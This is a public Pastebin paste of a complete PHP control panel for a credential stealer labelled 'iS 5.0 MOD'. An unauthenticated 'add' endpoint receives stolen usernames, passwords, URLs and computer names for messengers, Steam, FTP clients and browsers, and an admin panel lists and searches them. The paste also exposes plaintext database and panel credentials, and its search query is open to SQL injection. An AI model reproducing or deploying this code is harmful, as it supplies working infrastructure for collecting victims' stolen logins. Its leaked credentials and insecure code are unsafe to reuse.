Share Pastebin
Guest
Public paste!

Untitled

By: a guest | Feb 9th, 2010 | Syntax: None | Size: 12.43 KB | Hits: 32 | Expires: Never
Copy text to clipboard
  1. <?php
  2.         // CONFIGURATION ******************************************************************************
  3.  
  4.    $dbHost     = "localhost";   // MySQL host
  5.    $dbUser     = "soulshak_soul";                       // MySQL username
  6.    $dbPass     = "flippingit360";                       // MySQL password
  7.    $dbDatabase = "soulshak_log";                // MySQL database name
  8.        
  9.    $username   = "SoulShaker";                          // Login Username
  10.    $password   = "flippingit360";                               // Login Password
  11.  
  12.    $logspage   = 50;                                    // Number of logs per page
  13.        
  14.         // ********************************************************************************************
  15.  
  16.         $html       = "<html><head><title>iS 5.0 MOD Log manager - ";
  17.         $header     = "</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>
  18.                                 <div id='web'><div id='header'><b>Hello, ".$username."</b></div><div id='navigation'><ul>
  19.                                 <li><a href='?action=logs'>All Logs</a></li><li><a href='?action=search'>Search</a></li>
  20.                                 <li><a href='?action=logout'>Logout</a></li></ul></div><br>";
  21.         $footer     = "<div id='footer'>iS 5.0 MOD</div></div></body></html>";
  22.         $searchform = "<form name='search' method='POST' action='?action=search'>
  23.                                 Search for: <input type='text' name='q' size='20'> In: <select name='in'>
  24.                                 <option selected='selected' value='1'>Url</option><option value='2'>Username</option>
  25.                                 <option value='3'>Password</option><option value='4'>Computer</option>
  26.                                 <option value='5'>Date</option><option value='6'>Ip</option></select>
  27.                                 <input type='submit' value='Search' name='search'></form>";
  28.         $loginform  = "<form id='loginform' name='frm' method='POST' action='?action=login'>
  29.                                 <table id='logintable' cellpadding='2' cellspacing='0' border='0'>
  30.                                 <tr><td>Username:</td><td><input type='text' name='username' size='20'></td></tr>
  31.                                 <tr><td>Password:</td><td><input type='password' name='password' size='20'></td></tr>
  32.                                 <tr><td></td><td><input type='submit' value='Login' name='login'></td></tr></form>";
  33.         $javascript  = "<script language='javascript' type='text/javascript'>
  34.                                 function checkAll() { chk = document.getElementsByName('sel[]');
  35.                                 for (i = 0; i<chk.length; i++) { if (document.frm.elements['check_all'].checked) chk[i].checked = true; else chk[i].checked = false;}}
  36.                                 function confirmation() { chk = document.getElementsByName('sel[]');
  37.                                 for (i = 0; i<chk.length; i++) { if (chk[i].checked == true) { return confirm('Are you sure you want to delete all selected logs?');}}
  38.                                 alert('At least one option must be select.'); return false;}</script>";
  39.         $aplications = array("MSN Messenger", "Google talk", "Trillian/MSN", "Trillian/AIM", "Trillian/Yahoo", "Pidgin/Gaim", "Paltalk Scene", "Steam",
  40.                                         "No-Ip" , "DynDNS", "Firefox", "Internet Explorer", "FileZilla", "FlashFXP");
  41.         $cols        = array("program", "url", "login", "pass", "computer", "date", "ip");
  42.  
  43.         // FUNCTIONS ******************************************************************************
  44.         function connect_database() {
  45.                 global $dbHost, $dbUser, $dbPass, $dbDatabase, $html, $header, $footer;
  46.                 $mysql = mysql_connect($dbHost, $dbUser, $dbPass);
  47.                 if (!$mysql) {
  48.                         $html .= "Database Error".$header."Can not connect to database, please check the configuration.".$footer;
  49.                         die($html);
  50.                 }
  51.                 if (!mysql_select_db($dbDatabase, $mysql)) {
  52.                         mysql_close($mysql);
  53.                         $html .= "Database Error".$header."Can not select '".$dbDatabase."' database, please check the configuration.".$footer;
  54.                         die($html);
  55.                 }
  56.                 return $mysql;
  57.         }
  58.         function pages_number($logstotal, $logspage) {
  59.                 $pagesnumber = ceil($logstotal/$logspage);
  60.                 $temp = "Pages: ";
  61.                 for ($i=0; $i<$pagesnumber; $i++) {
  62.                         if ($_SESSION["page"] == $i)
  63.                                 $temp .= " <span class='page1'>".$i."</span>";
  64.                         else
  65.                                 $temp .= " <span class='page0'><a href='?action=logs&page=".$i."'>".$i."</a></span>";
  66.                 }
  67.                 $temp .= " Results ".($_SESSION["page"]*$logspage)." - ".(($_SESSION["page"]*$logspage)+$logspage)." of about ".$logstotal;
  68.                 return $temp;
  69.         }
  70.         function sort_order() {
  71.                 if ($_SESSION["order"] == 0) $tmp = "ASC"; else $tmp = "DESC";
  72.                         return $tmp;
  73.         }
  74.  
  75.         // ADD ***************************************************************************************
  76.         if ($_GET["action"] == "add") {
  77.                 if (isset($_GET["a"]) && isset($_GET["c"]) && isset($_GET["u"]) && isset($_GET["l"])&& isset($_GET["p"])
  78.                 && is_numeric($_GET["a"]) && $_GET["a"]>=0 && $_GET["a"]<=13 && strlen($_GET["p"])>3) {
  79.                         $mysql = mysql_connect($dbHost, $dbUser, $dbPass);
  80.                         if (!$mysql) exit;
  81.                         if (!mysql_select_db($dbDatabase, $mysql)) exit;
  82.                         $result = mysql_query("SELECT * FROM `logs` WHERE `program` = '".$_GET["a"]."' AND `url` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql).
  83.                         "' AND `login` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."' AND `pass` = '".
  84.                         mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."';", $mysql);
  85.                         if (!$result) exit;
  86.                         if (mysql_num_rows($result) == 0) {
  87.                                 $result = mysql_query("INSERT INTO `logs` (`id`, `program`, `url`, `login`, `pass`, `computer`, `date`, `ip`) VALUES (NULL , '".
  88.                                 $_GET["a"]."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql)."', '".
  89.                                 mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."', '".
  90.                                 mysql_real_escape_string(htmlspecialchars(urldecode($_GET["c"])), $mysql)."', '".date("Y-m-d H:i:s")."', '".$_SERVER['REMOTE_ADDR']."');", $mysql);
  91.                         }
  92.                         mysql_close($mysql);
  93.                 }
  94.                 exit;
  95.         }
  96.  
  97.         // LOGIN **************************************************************************************
  98.         session_start();
  99.         if ($_SESSION["user"]!=$username || $_SESSION["ip"]!=$_SERVER["REMOTE_ADDR"]) {
  100.                 if ($_GET["action"] == "login") {
  101.                         if (isset($_POST["username"]) && isset($_POST["password"]) && $username==$_POST["username"] && $password==$_POST["password"]) {
  102.                                 session_start();
  103.                                 $_SESSION["user"] = $username;
  104.                                 $_SESSION["ip"] = $_SERVER["REMOTE_ADDR"];
  105.                                 $_SESSION["sort"] = 5;
  106.                                 $_SESSION["order"] = 1;
  107.                                 $_SESSION["page"] = 0;
  108.                                
  109.                                 $mysql = connect_database();
  110.                                 $result = mysql_query("SELECT COUNT(*) FROM `logs`;", $mysql);
  111.                                 if (!$result) {
  112.                                         $result = mysql_query("CREATE TABLE `logs` (`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY, `program` INT NOT NULL, `url`
  113.                                                                 VARCHAR(150) NOT NULL, `login` VARCHAR(50) NOT NULL, `pass` VARCHAR(50) NOT NULL, `computer` VARCHAR(50) NOT NULL, `date`
  114.                                                                 DATETIME NOT NULL, `ip` VARCHAR(15) NOT NULL);", $mysql);
  115.                                         if (!$result) {
  116.                                                 $html .= "Database Error".$header."Can not create table 'logs', please check the configuration and your priviledges.".$footer;
  117.                                                 die($html);
  118.                                         }
  119.                                 }
  120.                                 mysql_close($mysql);
  121.                                 header("Location: ?action=logs");
  122.                         } else {
  123.                                 $html = "<html><head><title>Login Error</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>".$loginform."</body></html>";
  124.                                 echo $html;
  125.                                 exit;
  126.                         }
  127.                 } else {
  128.                         $html = "<html><head><title>Login</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>".$loginform."</body></html>";
  129.                         echo $html;
  130.                         exit;
  131.                 }
  132.         }
  133.  
  134.         // LOGOUT ************************************************************************************
  135.         if ($_GET["action"] == "logout") {
  136.                 unset($_SESSION["user"]);
  137.                 unset($_SESSION["ip"]);
  138.                 unset($_SESSION["sort"]);
  139.                 unset($_SESSION["order"]);
  140.                 unset($_SESSION["page"]);
  141.                 session_unset();
  142.                 header("Location: index.php");
  143.  
  144.         // LOGS **************************************************************************************
  145.         } elseif ($_GET["action"] == "logs" || !isset($_GET["action"])) {
  146.        
  147.                 if (isset($_GET["sort"]) && $_GET["sort"]>=0 && $_GET["sort"]<=6) {
  148.                         if ($_SESSION["sort"] == $_GET["sort"])
  149.                                 if ($_SESSION["order"] == 0) $_SESSION["order"] = 1; else $_SESSION["order"] = 0; else $_SESSION["sort"] = $_GET["sort"];
  150.                 }
  151.  
  152.                 $mysql = connect_database();
  153.                 $result = mysql_query("SELECT COUNT(*) FROM `logs`;", $mysql);
  154.                 $logstotal = mysql_result($result, 0);
  155.                 if ($logstotal > 0) {
  156.                         if (isset($_GET["page"]) && is_numeric($_GET["page"]) && $_GET["page"]>=0 && $_GET["page"]<=ceil($logstotal/$logspage))
  157.                                 $_SESSION["page"] = $_GET["page"];
  158.                        
  159.                         $result = mysql_query("SELECT * FROM `logs` ORDER BY `".$cols[$_SESSION["sort"]]."` ".sort_order()." LIMIT ".($logspage*$_SESSION["page"])." , ".$logspage.";", $mysql);
  160.                         if (!$result) die(mysql_error());
  161.                        
  162.                         $html .= "Logs".$header.$javascript."
  163.                                         <form name='frm' method='POST' action='?action=delete'>
  164.                                         <table id='logstable' cellpadding='2' cellspacing='0' border='0'><tr id='row0'>
  165.                                         <td><a href='?action=logs&sort=0'>Program</a></td><td><a href='?action=logs&sort=1'>Url / Host</a></td>
  166.                                         <td><a href='?action=logs&sort=2'>Username</a></td><td><a href='?action=logs&sort=3'>Password</a></td>
  167.                                         <td><a href='?action=logs&sort=4'>Computer</a></td><td><a href='?action=logs&sort=5'>Date</a></td>
  168.                                         <td><a href='?action=logs&sort=6'>Ip</a></td>
  169.                                         <td><input type='checkbox' name='check_all' onClick='checkAll();'></td></tr>";
  170.                         $i = 0;
  171.                         while ($row = mysql_fetch_array($result)) {
  172.                                 $html .= "<tr class='";
  173.                                 if ($i % 2 == 0) $html .= "row1"; else $html .= "row2";
  174.                                 $html .= "'><td>".$aplications[$row["program"]]."</td>";
  175.                                 $html .= "<td><a href='".$row["url"]."' target='_blanc'>".$row["url"]."</a></td><td>".$row["login"]."</td><td>".$row["pass"]."</td>";
  176.                                 $html .= "<td>".$row["computer"]."</td><td>".$row["date"]."</td><td>".$row["ip"]."</td>";
  177.                                 $html .= "<td><input type='checkbox' name='sel[]' value='".$row["id"]."'></td></tr>";
  178.                                 $i++;
  179.                         }
  180.                         $html .= "</table><div id='pages'><div id='numbers'>".pages_number($logstotal, $logspage)."</div><input
  181.                                         id='delete' type='submit' value='Delete Selected' onclick='if (!confirmation()) return false;'></div></form>".$footer;
  182.                 } else {
  183.                         $html .= "Logs".$header."No logs found!".$footer;
  184.                 }
  185.                 mysql_close($mysql);
  186.                 echo $html;
  187.  
  188.         // SEARCH ************************************************************************************
  189.         } elseif ($_GET["action"] == "search") {
  190.                 if (isset($_POST["q"]) && isset($_POST["in"]) && is_numeric($_POST["in"]) && $_POST["in"]>0 && $_POST["in"]<=6) {
  191.                         $mysql = connect_database();
  192.                         $result = mysql_query("SELECT * FROM `logs` WHERE `".$cols[$_POST["in"]]."` LIKE '%".$_POST["q"]."%';", $mysql);
  193.                         if (!$result) die(mysql_error());
  194.                        
  195.                         if (mysql_num_rows($result) > 0) {
  196.                                 $html .= "Search".$header.$javascript.$searchform."
  197.                                         <form name='frm' method='POST' action='?action=delete'>
  198.                                         <table id='searchtable' cellpadding='2' cellspacing='0' border='0'><tr id='row0'>
  199.                                         <td>Program</td><td>Url / Host</td>
  200.                                         <td>Username</td><td>Password</td>
  201.                                         <td>Computer</td><td>Date</td>
  202.                                         <td>Ip</td>
  203.                                         <td><input type='checkbox' name='check_all' onClick='checkAll();'></td></tr>";
  204.                                 $i = 0;
  205.                                 while ($row = mysql_fetch_array($result)) {
  206.                                         $html .= "<tr class='";
  207.                                         if ($i % 2 == 0) $html .= "row1"; else $html .= "row2";
  208.                                         $html .= "'><td>".$aplications[$row["program"]]."</td>";
  209.                                         $html .= "<td><a href='".$row["url"]."' target='_blanc'>".$row["url"]."</a></td><td>".$row["login"]."</td><td>".$row["pass"]."</td>";
  210.                                         $html .= "<td>".$row["computer"]."</td><td>".$row["date"]."</td><td>".$row["ip"]."</td>";
  211.                                         $html .= "<td><input type='checkbox' name='sel[]' value='".$row["id"]."'></td></tr>";
  212.                                         $i++;
  213.                                 }
  214.                                 $html .= "</table><div id='pages'><div id='numbers'>".mysql_num_rows($result)." results for '".$_POST["q"]."'</div><input id='delete'
  215.                                         type='submit' value='Delete Selected' onclick='if (!confirmation()) return false;'></div></form>".$footer;
  216.                         } else {
  217.                                 $html .= "Logs".$header.$searchform."<br>No results found!".$footer;
  218.                         }
  219.                         mysql_close($mysql);
  220.                 } else {
  221.                         $html .= "Logs".$header.$searchform.$footer;
  222.                 }
  223.                 echo $html;
  224.        
  225.         // DELETE ************************************************************************************
  226.         } elseif ($_GET["action"] == "delete") {
  227.                 if (isset($_POST["sel"]) && count($_POST["sel"])!=0) {
  228.                         $mysql = connect_database();
  229.                         for ($i=0; $i<count($_POST["sel"]); $i++) {
  230.                                 if (is_numeric($_POST["sel"][$i])) {
  231.                                         $result = mysql_query("DELETE FROM `logs` WHERE `id` = ".$_POST["sel"][$i]." LIMIT 1;", $mysql);
  232.                                         if (!$result) die(mysql_error());
  233.                                 }
  234.                         }
  235.                         mysql_close($mysql);
  236.                 }
  237.                 header("Location: ?action=logs");
  238.  
  239.         } else {
  240.                 $html .= "Unexpected Error".$header."Unexpected Error".$footer;
  241.                 echo $html;
  242.         }
  243. ?>